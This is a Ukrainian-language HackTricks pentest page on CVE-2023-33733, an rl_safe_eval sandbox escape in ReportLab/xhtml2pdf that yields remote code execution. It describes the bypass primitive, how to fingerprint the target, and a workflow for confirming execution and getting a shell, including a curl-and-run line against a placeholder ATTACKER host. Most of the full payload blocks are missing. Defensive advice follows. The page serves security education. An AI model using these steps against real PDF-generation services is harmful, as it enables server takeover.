ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця сторінка документує практичний escape з sandbox та примітив RCE в rl_safe_eval від ReportLab, який використовується xhtml2pdf та іншими пайплайнами генерації PDF при рендерингу керованого користувачем HTML у PDF.

CVE-2023-33733 впливає на ReportLab версії до і включно 3.6.12. В певних контекстах атрибутів (наприклад color) значення, загорнуті в triple brackets [[[ ... ]]], оцінюються на стороні сервера за допомогою rl_safe_eval. Шляхом створення payload, що піводить від дозволеного builtin (pow) до його Python function globals, атакуючий може дістатися до модуля os і виконати команди.

Ключові моменти

  • Trigger: інжектувати [[[ ... ]]] в evaluated attributes, такі як у розмітці, що парситься ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval заміщає небезпечні builtins, але все ще оцінювані функції відкривають globals.
  • Bypass: створити тимчасовий клас Word щоб обійти перевірки імен rl_safe_eval і отримати рядок "globals", уникаючи фільтрації заблокованих dunder-імен.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stability: Повернути дійсне значення для атрибута після виконання (для color використати and 'red').

Коли тестувати

  • Додатки, які надають експорт HTML-to-PDF (профілі, рахунки, звіти) і показують xhtml2pdf/ReportLab у метаданих PDF або у коментарях HTTP-відповіді.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • HTTP-відповідь для PDF часто починається з ReportLab generator comment

Як працює обхід sandbox

  • rl_safe_eval видаляє або замінює багато builtins (getattr, type, pow, ...) і застосовує фільтрацію імен, щоб заборонити атрибути, що починаються з __ або є у denylist.
  • Проте безпечні функції живуть у globals-словнику, доступному як func.globals.
  • Використовуйте type(type(1)) щоб відновити реальну вбудовану функцію type (обминаючи wrapper від ReportLab), потім визначте клас Word, похідний від str, з мутованою поведінкою порівняння так, що:
    • .startswith('') → завжди False (обхід перевірки name startswith(''))
    • .eq повертає False лише при першому порівнянні (обхід перевірки членства у denylist) і True опісля (щоб Python getattr працював)
    • .hash = hash(str(self))
  • За допомогою цього getattr(pow, Word('globals')) повертає globals dict обгорнутої функції pow, який містить імпортований модуль os. Далі: ['os'].system('').

Мінімальний патерн експлуатації (приклад для атрибута) Розмістіть payload всередині evaluated attribute і переконайтесь, що він повертає дійсне значення атрибута через boolean and 'red'.

exploit

  • Форма з list-comprehension дозволяє один вираз, прийнятний для rl_safe_eval.
  • Трейлінг and 'red' повертає дійсний CSS color, тож рендеринг не зламається.
  • Замініть команду за потреби; використайте ping щоб перевірити виконання через tcpdump.

Операційний робочий процес

  1. Ідентифікуйте PDF-генератор
  • PDF Producer показує xhtml2pdf; HTTP-відповідь містить ReportLab comment.
  1. Знайдіть input, що відображається в PDF (наприклад profile bio/description) і запустіть експорт.
  2. Підтвердіть виконання низькошумним ICMP
  • Run: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows часто відправляє рівно чотири echo requests за замовчуванням.
  1. Встановіть шелл
  • Для Windows надійний two-stage підхід уникає проблем з quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Для Linux-таргетів можливий подібний two-stage з curl/wget:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Нотатки та поради

  • Контексти атрибутів: color відомий як evaluated attribute; інші атрибути в ReportLab markup також можуть оцінювати вирази. Якщо одне місце санітайзиться, спробуйте інші, що рендеряться у PDF flow (різні поля, table styles тощо).
  • Quoting: тримайте команди компактними. Two-stage завантаження значно зменшують проблеми з quoting та escaping.
  • Надійність: якщо експорти кешуються або ставляться у чергу, трохи варіюйте payload (наприклад випадковий шлях або query), щоб уникнути кешування.

Захист та виявлення

  • Оновіть ReportLab до 3.6.13 або новішої (CVE-2023-33733 виправлено). Слідкуйте також за security advisories у пакетах дистрибутивів.
  • Не передавайте user-controlled HTML/markup безпосередньо у xhtml2pdf/ReportLab без суворої санітизації. Видаляйте/забороняйте [[[...]]] evaluation constructs та vendor-specific теги коли вхід ненадійний.
  • Розгляньте відключення або обгортання використання rl_safe_eval повністю для ненадійних входів.
  • Моніторьте підозрілі вихідні з’єднання під час генерації PDF (наприклад ICMP/HTTP від app servers при експорті документів).

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks